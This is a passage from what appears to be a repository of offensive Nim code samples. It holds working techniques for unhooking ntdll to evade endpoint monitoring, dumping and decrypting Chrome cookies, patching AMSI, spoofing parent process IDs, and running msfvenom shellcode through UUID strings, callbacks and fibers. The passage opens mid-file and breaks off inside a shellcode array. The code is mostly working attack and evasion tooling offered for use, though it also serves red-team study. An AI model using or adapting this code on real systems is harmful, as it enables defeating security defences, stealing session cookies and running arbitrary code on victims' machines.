ntdllModule = GetModuleHandleA("ntdll.dll") 16 | ntdllBase : LPVOID 17 | ntdllFile : FileHandle 18 | ntdllMapping : HANDLE 19 | ntdllMappingAddress : LPVOID 20 | hookedDosHeader : PIMAGE_DOS_HEADER 21 | hookedNtHeader : PIMAGE_NT_HEADERS 22 | hookedSectionHeader : PIMAGE_SECTION_HEADER 23 | 24 | GetModuleInformation(processH, ntdllModule, addr mi, cast[DWORD](sizeof(mi))) 25 | ntdllBase = mi.lpBaseOfDll 26 | ntdllFile = getOsFileHandle(open("C:\\windows\\system32\\ntdll.dll",fmRead)) 27 | ntdllMapping = CreateFileMapping(ntdllFile, NULL, 16777218, 0, 0, NULL) # 0x02 = PAGE_READONLY & 0x1000000 = SEC_IMAGE 28 | if ntdllMapping == 0: 29 | echo fmt"Could not create file mapping object ({GetLastError()})." 30 | return false 31 | ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0) 32 | if ntdllMappingAddress.isNil: 33 | echo fmt"Could not map view of file ({GetLastError()})." 34 | return false 35 | hookedDosHeader = cast[PIMAGE_DOS_HEADER](ntdllBase) 36 | hookedNtHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](ntdllBase) + hookedDosHeader.e_lfanew) 37 | for Section in low ..< hookedNtHeader.FileHeader.NumberOfSections: 38 | hookedSectionHeader = cast[PIMAGE_SECTION_HEADER](cast[DWORD_PTR](IMAGE_FIRST_SECTION(hookedNtHeader)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) 39 | if ".text" in toString(hookedSectionHeader.Name): 40 | var oldProtection : DWORD = 0 41 | if VirtualProtect(ntdllBase + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize, 0x40, addr oldProtection) == 0:#0x40 = PAGE_EXECUTE_READWRITE 42 | echo fmt"Failed calling VirtualProtect ({GetLastError()})." 43 | return false 44 | copyMem(ntdllBase + hookedSectionHeader.VirtualAddress, ntdllMappingAddress + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize) 45 | if VirtualProtect(ntdllBase + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize, oldProtection, addr oldProtection) == 0: 46 | echo fmt"Failed resetting memory back to it's orignal protections ({GetLastError()})." 47 | return false 48 | CloseHandle(processH) 49 | CloseHandle(ntdllFile) 50 | CloseHandle(ntdllMapping) 51 | FreeLibrary(ntdllModule) 52 | return true 53 | 54 | 55 | when isMainModule: 56 | var result = ntdllunhook() 57 | echo fmt"[*] unhook Ntdll: {bool(result)}" 58 | -------------------------------------------------------------------------------- /src/chrome_dump_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: @fkadibs 3 | License: BSD 3-Clause 4 | This is an example of dumping cookies from Chrome in nim. With slight modifications, it could dump saved credentials or target other browsers. 5 | 6 | Requires: 7 | nimble install tiny_sqlite 8 | ]# 9 | 10 | import base64, json, tiny_sqlite 11 | import nimcrypto/[rijndael, bcmode] 12 | import winim/lean 13 | import std/os 14 | 15 | proc cryptUnprotectData(data: openarray[byte|char]): string = 16 | var 17 | input = DATA_BLOB(cbData: cint data.len, pbData: cast[ptr BYTE](unsafeaddr data[0])) 18 | output: DATA_BLOB 19 | 20 | if CryptUnprotectData(addr input, nil, nil, nil, nil, 0, addr output) != 0: 21 | result.setLen(output.cbData) 22 | if output.cbData != 0: 23 | copyMem(addr result[0], output.pbData, output.cbData) 24 | LocalFree(cast[HLOCAL](output.pbData)) 25 | 26 | proc cryptUnprotectData(data: string): string {.inline.} = 27 | result = cryptUnprotectData(data.toOpenArray(0, data.len - 1)) 28 | 29 | proc expandvars(path: string): string = 30 | var buffer = T(MAX_PATH) 31 | ExpandEnvironmentStrings(path, &buffer, MAX_PATH) 32 | result = $buffer 33 | 34 | proc cookieDecrypt(data: openarray[byte]): string = 35 | var key {.global.}: string 36 | 37 | if data[0 ..< 3] == [byte 118, 49, 48]: 38 | # load the key from the local state if we haven't already 39 | if key.len == 0: 40 | let json = parseFile(expandvars(r"%LocalAppData%\Google\Chrome\User Data\Local State")) 41 | key = json["os_crypt"]["encrypted_key"].getStr().decode().substr(5).cryptUnprotectData() 42 | 43 | var 44 | ctx: GCM[aes256] 45 | aad: seq[byte] 46 | iv = data[3 ..< 3 + 12] 47 | encrypted = data[3 + 12 ..< data.len - 16] 48 | tag = data[data.len - 16 ..< data.len] 49 | dtag: array[aes256.sizeBlock, byte] 50 | 51 | # decrypt the blob 52 | if encrypted.len > 0: 53 | result.setLen(encrypted.len) 54 | ctx.init(key.toOpenArrayByte(0, key.len - 1), iv, aad) 55 | ctx.decrypt(encrypted, result.toOpenArrayByte(0, result.len - 1)) 56 | ctx.getTag(dtag) 57 | assert(dtag == tag) 58 | else: 59 | result = cryptUnprotectData(data) 60 | 61 | 62 | proc main() = 63 | # if chrome is open, it will lock the database, so we'll make a copy 64 | let filename = r"%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies" 65 | copyFile(expandvars(filename), expandvars(filename & "_bak")) 66 | 67 | # load the database from disk 68 | let db = openDatabase(expandvars(filename & "_bak")) 69 | defer: db.close() 70 | 71 | # query with sqlite and decrypt 72 | for row in db.rows("SELECT host_key, name, encrypted_value FROM cookies"): 73 | echo "Host Name: ", row[0].fromDbValue(string) 74 | echo "Name: ", row[1].fromDbValue(string) 75 | echo "Value: ", cookieDecrypt(row[2].fromDbValue(seq[byte])) 76 | echo "" 77 | 78 | main() 79 | -------------------------------------------------------------------------------- /src/uuid_exec_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Furkan Ayar, Twitter: @frknayar 3 | License: BSD 3-Clause 4 | 5 | This is NIM implementation of UUID Shellcode execution from HEAP memory area which has been seen in the wild by lazarus loader. 6 | References: 7 | - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ 8 | - https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/ 9 | - https://gist.github.com/rxwx/c5e0e5bba8c272eb6daa587115ae0014#file-uuid-c 10 | ]# 11 | 12 | import winim 13 | import strformat 14 | 15 | when defined(windows): 16 | 17 | when defined(amd64): 18 | echo "[*] Running in x64 Process" 19 | # msfvenom -a x64 -p windows/x64/exec CMD=notepad.exe EXITFUNC=thread 20 | const SIZE = 18 21 | var UUIDARR = allocCStringArray([ 22 | "e48348fc-e8f0-00c0-0000-415141505251", 23 | "d2314856-4865-528b-6048-8b5218488b52", 24 | "728b4820-4850-b70f-4a4a-4d31c94831c0", 25 | "7c613cac-2c02-4120-c1c9-0d4101c1e2ed", 26 | "48514152-528b-8b20-423c-4801d08b8088", 27 | "48000000-c085-6774-4801-d0508b481844", 28 | "4920408b-d001-56e3-48ff-c9418b348848", 29 | "314dd601-48c9-c031-ac41-c1c90d4101c1", 30 | "f175e038-034c-244c-0845-39d175d85844", 31 | "4924408b-d001-4166-8b0c-48448b401c49", 32 | "8b41d001-8804-0148-d041-5841585e595a", 33 | "59415841-5a41-8348-ec20-4152ffe05841", 34 | "8b485a59-e912-ff57-ffff-5d48ba010000", 35 | "00000000-4800-8d8d-0101-000041ba318b", 36 | "d5ff876f-e0bb-2a1d-0a41-baa695bd9dff", 37 | "c48348d5-3c28-7c06-0a80-fbe07505bb47", 38 | "6a6f7213-5900-8941-daff-d56e6f746570", 39 | "652e6461-6578-0000-0000-000000000000" ]) 40 | 41 | when isMainModule: 42 | # Creating and Allocating Heap Memory 43 | echo fmt"[*] Allocating Heap Memory" 44 | let hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0) 45 | let ha = HeapAlloc(hHeap, 0, 0x100000) 46 | var hptr = cast[DWORD_PTR](ha) 47 | if hptr != 0: 48 | echo fmt"[+] Heap Memory is Allocated at 0x{hptr.toHex}" 49 | else: 50 | echo fmt"[-] Heap Alloc Error " 51 | quit(QuitFailure) 52 | 53 | echo fmt"[*] UUID Array size is {SIZE}" 54 | # Planting Shellcode From UUID Array onto Allocated Heap Memory 55 | for i in 0..(SIZE-1): 56 | var status = UuidFromStringA(cast[RPC_CSTR](UUIDARR[i]), cast[ptr UUID](hptr)) 57 | if status != RPC_S_OK: 58 | if status == RPC_S_INVALID_STRING_UUID: 59 | echo fmt"[-] Invalid UUID String Detected" 60 | else: 61 | echo fmt"[-] Something Went Wrong, Error Code: {status}" 62 | quit(QuitFailure) 63 | hptr += 16 64 | echo fmt"[+] Shellcode is successfully placed between 0x{(cast[DWORD_PTR](ha)).toHex} and 0x{hptr.toHex}" 65 | 66 | # Calling the Callback Function 67 | echo fmt"[*] Calling the Callback Function ..." 68 | EnumSystemLocalesA(cast[LOCALE_ENUMPROCA](ha), 0) 69 | CloseHandle(hHeap) 70 | quit(QuitSuccess) 71 | -------------------------------------------------------------------------------- /src/clr_host_cpp_embed_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | This was an initial attempt at trying to embed the CLR before Winim 3.6.0 was out (which now supports all of the necessary API calls to load .NET assemblies). 7 | 8 | If anything it was a pretty cool excercise and an example of how to embed C++ directly within Nim. 9 | 10 | Few thangs: 11 | - When using Nim's C++ backend and cross-compiling to Windows you need to statically link the binaries by passing the '-static' flag to the linker. 12 | Otherwise the resulting binaries will **not** run (Seems like a bug?) 13 | 14 | - This particular example will only work on x64 machines and requires the metahost.h and mscoree.lib files (in the rsrc directory). 15 | Both of those files were stolen directly from my Windows VM. If you want to compile to x86 you need to grab the x86 version of mscoree.lib. 16 | 17 | Gr33tz & huge thanks to Pancho for helping me get this to work. 18 | 19 | References: 20 | - https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2#gistcomment-2553021 21 | 22 | ]# 23 | 24 | {.passL:"-L ./rsrc -l mscoree -static".} 25 | {.passC:"-I ./rsrc".} 26 | 27 | when not defined(cpp): 28 | {.error: "Must be compiled in cpp mode"} 29 | 30 | {.emit: """ 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | //#pragma comment(lib, "mscoree.lib") 37 | 38 | //const IID CLSID_CLRRuntimeHost; 39 | //const IID IID_ICLRRuntimeHost; 40 | 41 | EXTERN_GUID(CLSID_CLRRuntimeHost, 0x90F1A06E, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02); 42 | EXTERN_GUID(IID_ICLRRuntimeHost, 0x90F1A06C, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02); 43 | //DEFINE_GUID(CLSID_CLRRuntimeHost, 0x90f1a06e,0x7712,0x4762,0x86,0xb5,0x7a,0x5e,0xba,0x6b,0xdb,0x02); 44 | //DEFINE_GUID(IID_ICLRRuntimeHost, 0x90f1a06c, 0x7712, 0x4762, 0x86,0xb5, 0x7a,0x5e,0xba,0x6b,0xdb,0x02); 45 | 46 | int RunAssembly() 47 | { 48 | ICLRMetaHost* metaHost = NULL; 49 | ICLRRuntimeInfo* runtimeInfo = NULL; 50 | ICLRRuntimeHost* runtimeHost = NULL; 51 | 52 | if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) == S_OK) { 53 | if (metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo) == S_OK) { 54 | if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) { 55 | if (runtimeHost->Start() == S_OK) 56 | { 57 | std::cout << "Loading random.dll!\n"; 58 | DWORD pReturnValue; 59 | runtimeHost->ExecuteInDefaultAppDomain(L"C:\\random.dll", L"dllNamespace.dllClass", L"ShowMsg", L"It works!!", &pReturnValue); 60 | 61 | runtimeInfo->Release(); 62 | metaHost->Release(); 63 | runtimeHost->Release(); 64 | } 65 | } 66 | } 67 | } 68 | return 0; 69 | } 70 | """.} 71 | 72 | proc RunAssembly(): int 73 | {.importcpp: "RunAssembly", nodecl.} 74 | 75 | when isMainModule: 76 | var result = RunAssembly() 77 | echo "[*] Assembly executed: ", bool(result) 78 | -------------------------------------------------------------------------------- /wip/amsi_patch_2_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Reference https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/#amsi_patch_C 3 | 4 | So this is an interesting problem: Nim doesn't preserve the order of the functions you define when it generates their C code counterparts. 5 | Because were doing some memory patching here, thats sorta needed. You could use the emit pragma for this (??) but then you'd have to deal with the missing symbols. 6 | 7 | Probably better off using another patching method. 8 | 9 | See https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-emit-pragma if you're confused about the emit pragma 10 | ]# 11 | 12 | import strformat 13 | import dynlib 14 | import winim/lean 15 | 16 | type 17 | HAMSICONTEXT = HANDLE 18 | HAMSISESSION = HANDLE 19 | 20 | AMSI_RESULT = enum 21 | AMSI_RESULT_CLEAN = 0 22 | 23 | proc AmsiScanBufferStub(amsiContext: HAMSICONTEXT, buffer: PVOID, length: ULONG, contentName: LPCWSTR, amsiSession: HAMSISESSION, rslt: ptr AMSI_RESULT): HRESULT = 24 | rslt[] = AMSI_RESULT_CLEAN 25 | return S_OK 26 | 27 | proc AmsiScanBufferStubEnd(): VOID = 28 | discard 29 | 30 | #[ 31 | {.emit: """ 32 | static HRESULT AmsiScanBufferStub( 33 | HAMSICONTEXT amsiContext, 34 | PVOID buffer, 35 | ULONG length, 36 | LPCWSTR contentName, 37 | HAMSISESSION amsiSession, 38 | AMSI_RESULT *result) 39 | { 40 | *result = AMSI_RESULT_CLEAN; 41 | return S_OK; 42 | } 43 | 44 | static VOID AmsiScanBufferStubEnd(VOID) {} 45 | """.} 46 | 47 | proc AmsiScanBufferStub(amsiContext: HAMSICONTEXT, buffer: PVOID, length: ULONG, contentName: LPCWSTR, amsiSession: HAMSISESSION, rslt: ptr AMSI_RESULT): HRESULT 48 | {.importc: "AmsiScanBufferStub", nodecl.} 49 | 50 | proc AmsiScanBufferStubEnd(): VOID 51 | {.importc: "AmsiScanBufferStubEnd", nodecl.} 52 | ]# 53 | 54 | proc DisableAMSI(): bool = 55 | var 56 | disabled: bool = false 57 | amsi: LibHandle 58 | stublen: DWORD 59 | op: DWORD 60 | t: DWORD 61 | cs: pointer 62 | 63 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 64 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 65 | amsi = loadLib("amsi") 66 | if isNil(amsi): 67 | echo "[X] Failed to load amsi.dll" 68 | return disabled 69 | defer: amsi.unloadLib() 70 | 71 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 72 | if isNil(cs): 73 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 74 | return disabled 75 | 76 | echo fmt"[*] AmsiScanBufferStubEnd: {cast[ULONG_PTR](AmsiScanBufferStubEnd)}" 77 | echo fmt"[*] AmsiScanBufferStub: {cast[ULONG_PTR](AmsiScanBufferStub)}" 78 | 79 | stublen = cast[DWORD]( (cast[ULONG_PTR](AmsiScanBufferStub) - cast[ULONG_PTR](AmsiScanBufferStubEnd)) ) 80 | echo fmt"[*] Stub Length: {stublen}" 81 | 82 | if not VirtualProtect(cs, stublen, PAGE_EXECUTE_READWRITE, addr op): 83 | echo "[X] Failed calling VirtualProtect" 84 | return disabled 85 | 86 | copyMem(cs, AmsiScanBufferStub, stublen) 87 | disabled = true 88 | 89 | if not VirtualProtect(cs, stublen, op, addr t): 90 | echo "[X] Failed resetting memory back to it's orignal protections" 91 | 92 | return disabled 93 | 94 | when isMainModule: 95 | var success = DisableAMSI() 96 | echo fmt"[*] AMSI disabled: {bool(success)}" 97 | -------------------------------------------------------------------------------- /src/blockdlls_acg_ppid_spoof_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Spawns notepad (suspended) with a spoofed PPID of explorer.exe, with BlockDLL and Arbitrary Code Guard protections enabled. 6 | 7 | References: 8 | - https://blog.xpnsec.com/protecting-your-malware/ 9 | - https://gist.github.com/xpn/4eaacf7edda382cff8067866c4c7f1ce#file-blockdlls_poc-cpp 10 | - https://gist.github.com/rasta-mouse/af009f49229c856dc26e3a243db185ec 11 | - https://github.com/khchen/winim/blob/master/winim/inc/winbase.nim#L1458 12 | - https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute 13 | ]# 14 | 15 | 16 | import winim 17 | import strformat 18 | 19 | const 20 | PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x00000001 shl 44 21 | PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x00000003 shl 44 #Gr33tz to @_RastaMouse ;) 22 | PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON = 0x00000001 shl 36 23 | 24 | proc toString(chars: openArray[WCHAR]): string = 25 | result = "" 26 | for c in chars: 27 | if cast[char](c) == '\0': 28 | break 29 | result.add(cast[char](c)) 30 | 31 | proc GetProcessByName(process_name: string): DWORD = 32 | var 33 | pid: DWORD = 0 34 | entry: PROCESSENTRY32 35 | hSnapshot: HANDLE 36 | 37 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 38 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 39 | defer: CloseHandle(hSnapshot) 40 | 41 | if Process32First(hSnapshot, addr entry): 42 | while Process32Next(hSnapshot, addr entry): 43 | if entry.szExeFile.toString == process_name: 44 | pid = entry.th32ProcessID 45 | break 46 | 47 | return pid 48 | 49 | var 50 | si: STARTUPINFOEX 51 | pi: PROCESS_INFORMATION 52 | ps: SECURITY_ATTRIBUTES 53 | ts: SECURITY_ATTRIBUTES 54 | policy: DWORD64 55 | lpSize: SIZE_T 56 | res: WINBOOL 57 | 58 | si.StartupInfo.cb = sizeof(si).cint 59 | ps.nLength = sizeof(ps).cint 60 | ts.nLength = sizeof(ts).cint 61 | 62 | InitializeProcThreadAttributeList(NULL, 2, 0, addr lpSize) 63 | 64 | si.lpAttributeList = cast[LPPROC_THREAD_ATTRIBUTE_LIST](HeapAlloc(GetProcessHeap(), 0, lpSize)) 65 | 66 | InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, addr lpSize) 67 | 68 | policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE or PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON 69 | 70 | res = UpdateProcThreadAttribute( 71 | si.lpAttributeList, 72 | 0, 73 | cast[DWORD_PTR](PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY), 74 | addr policy, 75 | sizeof(policy), 76 | NULL, 77 | NULL 78 | ) 79 | 80 | var processId = GetProcessByName("explorer.exe") 81 | echo fmt"[*] Found PPID: {processId}" 82 | var parentHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId) 83 | 84 | res = UpdateProcThreadAttribute( 85 | si.lpAttributeList, 86 | 0, 87 | cast[DWORD_PTR](PROC_THREAD_ATTRIBUTE_PARENT_PROCESS), 88 | addr parentHandle, 89 | sizeof(parentHandle), 90 | NULL, 91 | NULL 92 | ) 93 | 94 | res = CreateProcess( 95 | NULL, 96 | newWideCString(r"C:\Windows\notepad.exe"), 97 | ps, 98 | ts, 99 | FALSE, 100 | EXTENDED_STARTUPINFO_PRESENT or CREATE_SUSPENDED, 101 | NULL, 102 | NULL, 103 | addr si.StartupInfo, 104 | addr pi 105 | ) 106 | 107 | echo fmt"[+] Started process with PID: {pi.dwProcessId}" -------------------------------------------------------------------------------- /src/shellcode_callback_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch, Twitter: @ShitSecure 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 7 | ]# 8 | 9 | import winim/lean 10 | 11 | when defined(windows): 12 | 13 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 14 | when defined(i386): 15 | # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays 16 | echo "[*] Running in x86 process" 17 | var shellcode: array[193, byte] = [ 18 | byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 19 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 20 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 21 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 22 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 23 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 24 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 25 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 26 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 27 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 28 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 29 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 30 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00] 31 | 32 | elif defined(amd64): 33 | # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays 34 | echo "[*] Running in x64 process" 35 | var shellcode: array[276, byte] = [ 36 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 37 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 38 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 39 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 40 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 41 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 42 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 43 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 44 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 45 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 46 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 47 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 48 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 49 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 50 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 51 | 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 52 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 53 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 54 | 0x63,0x2e,0x65,0x78,0x65,0x00] 55 | 56 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 57 | when isMainModule: 58 | let tProcess = GetCurrentProcessId() 59 | 60 | echo "[*] Target Process: ", tProcess 61 | 62 | # Allocate memory 63 | let rPtr = VirtualAlloc( 64 | nil, 65 | cast[SIZE_T](shellcode.len), 66 | MEM_COMMIT, 67 | PAGE_EXECUTE_READ_WRITE 68 | ) 69 | # Copy Shellcode to the allocated memory section 70 | copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len)) 71 | 72 | # Callback execution 73 | EnumSystemGeoID( 74 | 16, 75 | 0, 76 | cast[GEO_ENUMPROC](rPtr) 77 | ) 78 | # here comes an error: "SIGSEGV: Illegal storage access. (Attempt to read from nil?)" - the shellcode is however executed successfully 79 | -------------------------------------------------------------------------------- /src/shellcode_fiber.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: HopScotch, Twitter: @0xHop 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import osproc 8 | 9 | 10 | proc RunFiber[I, T](shellcode: array[I, T]): void = 11 | let MasterFiber = ConvertThreadToFiber(NULL) 12 | let vAlloc = VirtualAlloc(NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE) 13 | var bytesWritten: SIZE_T 14 | let pHandle = GetCurrentProcess() 15 | WriteProcessMemory( pHandle, vAlloc, unsafeaddr shellcode, cast[SIZE_T](shellcode.len), addr bytesWritten) 16 | let xFiber = CreateFiber(0, cast[LPFIBER_START_ROUTINE](vAlloc), NULL) 17 | SwitchToFiber(xFiber) 18 | 19 | 20 | 21 | when defined(windows): 22 | 23 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 24 | when defined(i386): 25 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 26 | echo "[*] Running in x86 process" 27 | var shellcode: array[272, byte] = [ 28 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 29 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 30 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 31 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 32 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 33 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 34 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 35 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 36 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 37 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 38 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 39 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 40 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 41 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 42 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 43 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 44 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 45 | 